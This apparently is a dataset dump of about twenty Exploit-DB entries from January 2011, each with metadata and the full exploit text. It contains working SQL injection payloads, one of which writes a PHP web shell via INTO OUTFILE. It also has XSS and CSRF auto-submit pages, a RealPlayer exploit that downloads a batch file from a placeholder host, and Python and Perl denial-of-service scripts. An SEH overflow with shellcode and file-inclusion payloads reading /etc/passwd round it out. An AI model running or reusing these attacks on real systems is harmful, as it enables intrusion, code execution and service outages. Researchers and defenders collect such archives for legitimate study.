QLWD/code_shield huggingface dataset:
标题: PHP-Fusion Teams Structure Infusion Addon - SQL Injection EDB-ID: 16004 CVE: 2011-0512 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-17 漏洞利用脚本: # Exploit Title: PHP-fusion Team Structure Infusion (All versions) SQL
injection
# Date: 16-1-2010
# Author: Saif El-Sherei
# Software Link:
http://www.php-fusion.co.uk/infusions/addondb/view.php?addon_id=120
# Version: PHP-fusion (7.01..03), TeamStructure Infusion(all versions)
# Tested on: Firefox 3.0.15, , IE 8

Info:

Plugin that allows the site to have a list of all teams / clubs (eg football
or hockey) with the playing staff, displaying the standings with the
position of command or a list of the best strikers of a championship.

Details:

the "team_id" variable is not probably sanitized before using in SQL query
in "team.php", the attack can be elevated as shown in second POC to bypass
PHP-Fusion's GET variable XSS filter. by using back-ticks instead of
brackets used in any php function  in that case shell_exec().

Condition:

magic_quotes_gpc = Off

POC:


http://127.0.0.1/php-fusion/files/infusions/teams_structure/team.php?team_id=-1'
union select
'1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17

http://127.0.0.1/php-fusion/files/infusions/teams_structure/team.php?team_id=-1'
union select '1','2','<?php $out=`id`;echo $out;
?>','4','5','6','7','8','9','10','11','12','13','14','15','16','17' into
outfile '/var/www/php-fusion/files/images/test.php

Regards,

Saif El-Sherei

OSCP URL: https://www.exploit-db.com/exploits/16004
标题: SmoothWall Express 3.0 - Multiple Vulnerabilities EDB-ID: 16006 CVE: 2011-5284 2011-5283 类型: WEBAPPS 平台: CGI 发布日期: 2011-01-17 漏洞利用脚本: The web management interface of SmoothWall Express 3.0 is vulnerable
to xss and csrf.

xss example:

<html>
<title> SmoothWall Express 3.0 xss </title>
<body>
 <form action="http://192.168.0.1:81/cgi-bin/ipinfo.cgi"; method="post"
id="xssplz">
        <input type="hidden" name="IP" value='"<script>alert(1);</script>'></input>
        <input type="hidden" name="ACTION" value='Run'></input>
</form>
<script>document.getElementById("xssplz").submit();</script>
</body>


csrf example:

<html>
<title>  SmoothWall Express 3.0 csrf </title>
<body>
 <form action="http://192.168.0.1:81/cgi-bin/shutdown.cgi";
method="post" id="csrfplz">
        <input type="hidden" name="ACTION" value='Reboot'></input>
</form>
<script>document.getElementById("csrfplz").submit();</script>
</body> URL: https://www.exploit-db.com/exploits/16006
标题: AWBS 2.9.2 - 'cart.php' Blind SQL Injection EDB-ID: 16003 CVE: 2011-0510 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-16 漏洞利用脚本: AWBS 2.9.2 Blind SQL Injection 0day
=============================================================================================
Dork....: inurl:/cart?ca=add_other&oid=
Date....: 01-16-2011
Author..: ShivX
Contact.: shivanx[at]gmail[dot]com
Vendor..: http://www.awbs.com
Link....: http://www.awbs.com/packages.php?spt=10 (or demo site)
Version.: 2.9.2 (Possibly <=)
Tested..: RedHat EL 5.6 (Tikanga)
CVE.....: N/A (0day)
=============================================================================================
---Introduction---

Advanced Webhost Billing System (AWBS) is webhosting billpay software written in PHP.
AWBS includes a complete frontend written in XHTML/CSS. This frontend can be used as your
website or in portal mode as a separate client portal and allows for full customization of
its look.

AWBS will communicate to your configured payment gateway(s) to perform live payments while
customers place orders. Once orders are placed, AWBS will then communicate to your configured
registrar, hosting server or reseller hosting account to complete the orders automatically,
then send your configured email(s) to the client(s).

AWBS will:
- Generate invoices and email your clients notifying them a payment is due.
- Automatically charge account balance or credit card on file on the invoice's due date.
- Notify clients if the credit card on file is expired or declined.
- Send domain renewal notices and automatically renew domains.
- Suspend or unsuspend hosting accounts when a payment is not made or paid.

The AWBS backend (admin interface) provides you with a quick and easy 'check in' homepage so
you can find new orders, helpdesk tickets, contact form submissions, affiliate signups,
overdue invoices, errors that may have occurred, and basic sales stats.
=============================================================================================
---Vulnerability---

http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL]
=============================================================================================
---PoC Using Time-Based Blind SQL Injection---

https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)=' URL: https://www.exploit-db.com/exploits/16003
标题: Kingsoft AntiVirus 2011 SP5.2 'KisKrnl.sys' 2011.1.13.89 - Local Kernel Mode Denial of Service EDB-ID: 15998 CVE: 2011-0515 类型: DOS 平台: WINDOWS 发布日期: 2011-01-16 漏洞利用脚本: # Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3

DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
mov edx , 0x80000000
mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
int 0x2e
} URL: https://www.exploit-db.com/exploits/15998
标题: BetMore Site Suite 4 - 'bid' Blind SQL Injection EDB-ID: 15999 CVE: 2011-0516 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-16 漏洞利用脚本: ==
[#] Script: BetMore Site Suite
[#] Version: 4
[#] Link: http://products.epromptc.com/betmore/?pt=4&rfid=55
==
[#] Author: BorN To K!LL - h4ck3r
[#] Contact: SQL@hotmail.co.uk
==
[#] 3xploit:

/mainx_a.php?lngx=[true-value]&x=[true-value]&xid=[true-value]&bid=[Blind-Injection]
==
[#] 3xample:

/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // False ,,
/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // True ,,
==
[#] Greetings:
darkc0de's team , AsbMay's Group , w4ck1ng team , Q8 , and all muslims ..
== URL: https://www.exploit-db.com/exploits/15999
标题: Real Networks RealPlayer SP - 'RecordClip' Method Remote Code Execution EDB-ID: 15991 CVE: 2010-3749 类型: REMOTE 平台: WINDOWS 发布日期: 2011-01-14 漏洞利用脚本: Sources:  https://www.securityfocus.com/bid/44443/info
          http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt
<html>

<p>
Written by Sean de Regge (seanderegge hotmail.com)

Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin
http://www.zerodayinitiative.com/advisories/ZDI-10-211/

C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches:
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file
/f will make it download to any location on the disk instead of the realplayer downloads folder

Restrictions:
The extension on server side must be a valid media file (ie: .mp3)
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a 
chimera file, which will parse as a valid mp3 file and a valid batch file.
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes.
</p>

<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5">
</OBJECT>
<embed type="audio/x-pn-realaudio-plugin"


    controls="ImageWindow"
    console="video1"
    src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'
    width="240"
    height="180"
    autostart=true>

 </embed> 
<script>


var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3';

obj.RecordClip(file, "audio/mpeg3", "clipInfo");
 

</script>
</html> URL: https://www.exploit-db.com/exploits/15991
标题: Objectivity/DB - Lack of Authentication EDB-ID: 15988 CVE: 2011-0489 类型: DOS 平台: WINDOWS 发布日期: 2011-01-14 漏洞利用脚本: #!/usr/bin/python
# obj.py
# Objectivity/DB Lack of Authentication Remote Exploit
# Jeremy Brown [0xjbrown41-gmail-com]
# Jan 2011
#
# "Objectivity, Inc. is a leader in distributed, scalable database technology.
# Our patented data management engine and persistent object store is the enabling
# technology powering some of the most complex applications and mission critical
# systems used in government, business and science organizations today."
#
# Objectivity/DB includes many different tools for administration. The
# problem is, anyone can use these tools to perform operations on the host
# running the lock server, advanced multithreaded server, and probably
# it's other servers as well, without any authentication. This design flaw
# puts the host running these servers at risk of potentially unauthorized
# operations being performed on the system, locally or remotely.
#
# This code demostrates a couple of the easiest operations to replicate
# by hand, like killing the lock and am servers. The suite contains lots
# of other admin tools that do various, more interesting tasks with the
# Objectivity/DB, such as oobackup, oonewfd, oodeletefd, oodebug, etc...
#
# Tested on Objectivity/DB 10 running on Windows
#
# Fixed version: N/A, US-CERT coordinated the communication and released
# a vulnerability note after the vendor did not provide additional feedback.
#
# http://www.kb.cert.org/vuls/id/782567
#

import sys
import socket

kill_ooams=(
"\x0d\x03"+
"\x00"*5+
"\x02"+
"\x00"*3+
"\x19\xf0\x92\xed\x89\xf4\xe8\x95\x43\x03"+
"\x00"*15+
"\x61\x62\x63"+
"\x00"+
"\x31\x32\x33\x34"+
"\x00"*3+
"\x05\x8c"+
"\x00"*3+
"\x0d"+
"\x00"*4
)

kill_ools=(
"\x0d\x03"+
"\x00"*5+
"\x77"+
"\x00"*3+
"\x04\xad\xc4\xae\xda\x9e\x48\xd6\x44\x03"+
"\x00"*15
)

if len(sys.argv)<3:
     print "Objectivity/DB Remote Exploit"
     print "Usage: %s <target> <operation>"%sys.argv[0]
     print "\nWhat would you like to do?\n"
     print "[1] Kill the advanced multithreaded server"
     print "[2] Kill the lock server"
     print "For other operations, check out oobackup, oodebug, etc"
     sys.exit(0)

target=sys.argv[1]
op=int(sys.argv[2])

if((op<1)|(op>2)):
     print "Invalid operation"
     sys.exit(1)

if(op==1):
     port=6779
     data=kill_ooams

if(op==2):
     port=6780
     data=kill_ools

cs=target,port

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)

sock.send(data)

sock.close() URL: https://www.exploit-db.com/exploits/15988
标题: Blackmoon FTP 3.1 Build 1735/1736 - Denial of Service EDB-ID: 15986 CVE: 2011-0507 类型: DOS 平台: WINDOWS 发布日期: 2011-01-13 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: BlackmoonFTP Server DOS
# Date: 12/28/2010
# Author: Craig Freyman (cd1zz)
# Software Link: http://www.mediafire.com/?bnc4d00myymmx55
# Version: 3.1 Release 6 - Build 1735 and 1736
# Tested On: Windows XP SP3
# Vendor Contacted: 12/28/2010
# Vendor Fixed: 1/13/2011

import socket
import sys

buffer = '\x41' * 600

counter = 1

if len(sys.argv) != 3:
     print "Usage: ./blackmoonDOS.py <ip> <port>"
        sys.exit()
 
ip   = sys.argv[1]
port = sys.argv[2]

while counter <= 300:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try: 
  print "[*] Sending evil buffer. Count " + str(counter) + " out of 300"
  s.connect((ip,int(port)))
  s.recv(1024)
  s.send('PORT ' + buffer + '\r\n')
  s.recv(1024)
  s.send('QUIT \r\n')
  s.recv(1024) 
  s.close()
  counter=counter+1
 except:
  print "Check the service - probably dead!"
  sys.exit() URL: https://www.exploit-db.com/exploits/15986
标题: Wireshark - ZigBee ZCL Dissector Infinite Loop Denial of Service EDB-ID: 15973 CVE: 2010-4301 类型: DOS 平台: MULTIPLE 发布日期: 2011-01-11 漏洞利用脚本: Source:  https://www.securityfocus.com/bid/44986/info

Wireshark is prone to a remote denial-of-service vulnerability because it fails to properly handle certain types of packets.

Attackers can exploit this issue to cause the application to enter an infinite loop which may cause denial-of-service conditions.

Wireshark 1.4.0 to 1.4.1 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15973.pcap (44986.pcap) URL: https://www.exploit-db.com/exploits/15973
标题: Mono/Moonlight Generic Type Argument - Privilege Escalation EDB-ID: 15974 CVE: 2010-4254 类型: DOS 平台: LINUX 发布日期: 2011-01-11 漏洞利用脚本: Sources:  https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
https://www.securityfocus.com/bid/45051/info

Mono and Moonlight is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. 

PoC:

using System;
using System.Reflection;

public class FakeString {
    public int length;
    public char start_char;
}

public class TestCase {
    private static FakeString UnsafeConversion<T>(T thing)
        where T : FakeString
    {
        return thing;
    }

    public static void Main() {
        var a = "foo";
        var b = MakeMutable(a);

        Console.WriteLine(a);
        b.start_char = 'b';
        Console.WriteLine(a);
    }

    private static FakeString MakeMutable(string s)
    {
        var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
        var m2 = m.MakeGenericMethod(typeof(string));

        var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);

        return d(s);
    }
} URL: https://www.exploit-db.com/exploits/15974
标题: Nokia MultiMedia Player 1.0 - Local Overflow (SEH Unicode) EDB-ID: 15975 CVE: 2011-0498 类型: LOCAL 平台: WINDOWS 发布日期: 2011-01-11 漏洞利用脚本: # Exploit Title: Nokia Multimedia player  SEH Unicode
# Date: January 11 2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://www.brothersoft.com/nokia-multimedia-player-download-46238.html
# Version: 1.00.55.5010
# Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8

 
#  mail----> shogilord^gmail.com spams are welcome!!!!! 
#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __ 
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ / 
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/  
 
# COLOMBIA hacking presents.............
#     
# Dont be afraid of unicode my young padawan 
# 
# Big Thanks to sud0 !!
#

junk="\x44" * 2660

shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBdK8lPU4KjLS8o0mPO0LoQXc3QQPlpcdMa5YhnpVXgWRs920wkOXPA" #calc shellcode

nseh="\x61\xC5" 

align = "\x61\x6D\x61\x6D\x50\x6E\xC3" 


seh="\xEF\x42"

junk2="\xcc"*45

junk3="\xcc"*850

buff=junk+nseh+seh+align+junk2+shellcode+junk3

magic = open("Crash1234.npl","w")

magic.write(buff)

magic.close() URL: https://www.exploit-db.com/exploits/15975
标题: HP Data Protector Manager 6.11 - RDS Service Remote Denial of Service EDB-ID: 15940 CVE: 2011-0514 类型: DOS 平台: WINDOWS 发布日期: 2011-01-08 漏洞利用脚本: #!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC: 
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908   PUSH 8F9FA7D
# 00482F97   6A 00             PUSH 0
# 00482F99   6A 01             PUSH 1
# 00482F9B   6A 00             PUSH 0
# 00482F9D   8B55 F8           MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52                 PUSH EDX
# 00482FA1   E8 9C2D0000 CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08           MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08           ADD EAX,8
# 0038C4A1   50                PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50                 PUSH EAX
# 0038C5FA   68 2C0C3A00   PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit



use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
 print "Usage: perl $0 <host> [port]\n";
 print "\tdefault port = 1530\n\n";
 exit 1;
}

$port = 1530 if !($ARGV[1]);


if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x23\x8c\x29\xb6";  # header (always the same)
$buf .= "\x64\x00\x00\x00";   # data packet size (too big)
$buf .= "\x41"x4;      # data

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n"; 
exit; URL: https://www.exploit-db.com/exploits/15940
标题: Zwii 2.1.1 - Remote File Inclusion EDB-ID: 15945 CVE: 2011-0505 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-08 漏洞利用脚本: # Exploit Title: Zwii v 2.1.1 Remote file include vulnerbility
# Google Dork: Propulsé par Zwii 2.1.1
# Date: 08/01/2011
# Author: Abdi Mohamed
# Software Link: http://scripts.toocharger.com/fiches/scripts/zwii/5147.htm
# Version: v 2.1.1
# Tested on: ubuntu + centos 
# Email : abdimohamed@hotmail.fr - mrabdimohamed@gmail.com
#######################################################

Fichier : system.php
http://localhost/y/system/system.php

Code : 

// Importe la base de données
include("./system/data/settings.php");
include("./system/data/articles.php");
include("./system/data/accounts.php");
include("./system/data/positions.php");
include("./system/data/ip.php");
include("./templates/". $set["template"]["value"] ."/info.php");

Exploit:
http://localhost/y/system/system.php?set=(your shell)
http://localhost/y/system/system.php?set[template][value]=(your shell)



#######################################################
# Gr33tz : meher assel - xa7m3d - yahya idriss - houssem jrad - all tunisien hacker's
# Gr33tz : all member | v4-team.com - sec-war.com - hacktn.com
####################################################### URL: https://www.exploit-db.com/exploits/15945
标题: axdcms-0.1.1 - Local File Inclusion EDB-ID: 15938 CVE: 2011-0506 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-08 漏洞利用脚本: ###############################################
#          _______         _______           
#  _______ __  __ \_______ __  __ \____  __  
#  __  _  \_  / / /__  __ \_  / / /__  |/_/  
#  _  / / // /_/ / _  / / // /_/ / __>  <    
#  /_/ /_/ \____/  /_/ /_/ \____/  /_/|_|    
#
# priasantai.uni.cc    |    team-elite.us    
###############################################

#######################################################
#
#  axdcms-0.1.1 <=== Local File Include Vulnerbility
#
#######################################################
# Author : n0n0x
#
# Homepage: http://priasantai.uni.cc/
#
# Download script : http://biznetnetworks.dl.sourceforge.net/project/axdcms/axdcms/0.1.1/axdcms-0.1.1.zip
#######################################################


exploit :

http://localhost/www/axdcms-0.1.1/modules/profile/user.php?aXconf[default_language]=../../../../../../../../etc/passwd%00

c0de : 

include("modules/profile/lang/".$aXconf['default_language'].".php");


#######################################################
# Greetz: all member | manadocoding.org - sekuritiOnline.net - h4ckb0x.org
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3, opa, xoron, pitch, thama, s0ny,
#          devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet.
#
# chats : irc.auzs.net 6667-7000 #exploit-db
###################################################### URL: https://www.exploit-db.com/exploits/15938
标题: TinyBB 1.2 - SQL Injection EDB-ID: 15961 CVE: 2011-0443 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-10 漏洞利用脚本: +-------------------------------+
| TinyBB 1.2 SQLi Vulnerability |
+-------------------------------+



Vulnerable Web-App : TinyBB 1.2
Vulnerability      : SQL Injection.
Author             : Aodrulez.
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "TinyBB 2011 all rights reserved"
Tested on          : Ubuntu 10.04

+---------+
| Exploit |
+---------+

TinyBB Version 1.2 is vulnerable to SQLi.

http://127.0.0.1/index.php?page=profile&id=' or 'a'='a


+-------------------+
| Greetz Fly Out To |
+-------------------+
 

1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] www.orchidseven.com
4] www.malcon.org URL: https://www.exploit-db.com/exploits/15961
标题: Phenotype CMS 3.0 - SQL Injection EDB-ID: 15922 CVE: 2011-0407 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-06 漏洞利用脚本: Vulnerability ID: HTB22769
Reference: http://www.htbridge.ch/advisory/sql_injection_in_phenotype_cms.html
Product: Phenotype CMS
Vendor: http://www.phenotype-cms.com ( http://www.phenotype-cms.com ) 
Vulnerable Version: 3.0
Vendor Notification: 21 December 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/Gallery/gal_id/1/image1%27SQL_CODE.html URL: https://www.exploit-db.com/exploits/15922
标题: Wireshark - ENTTEC DMX Data RLE Buffer Overflow EDB-ID: 15898 CVE: 2010-4538 类型: DOS 平台: MULTIPLE 发布日期: 2011-01-03 漏洞利用脚本: # source: https://www.securityfocus.com/bid/45634/info

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0) URL: https://www.exploit-db.com/exploits/15898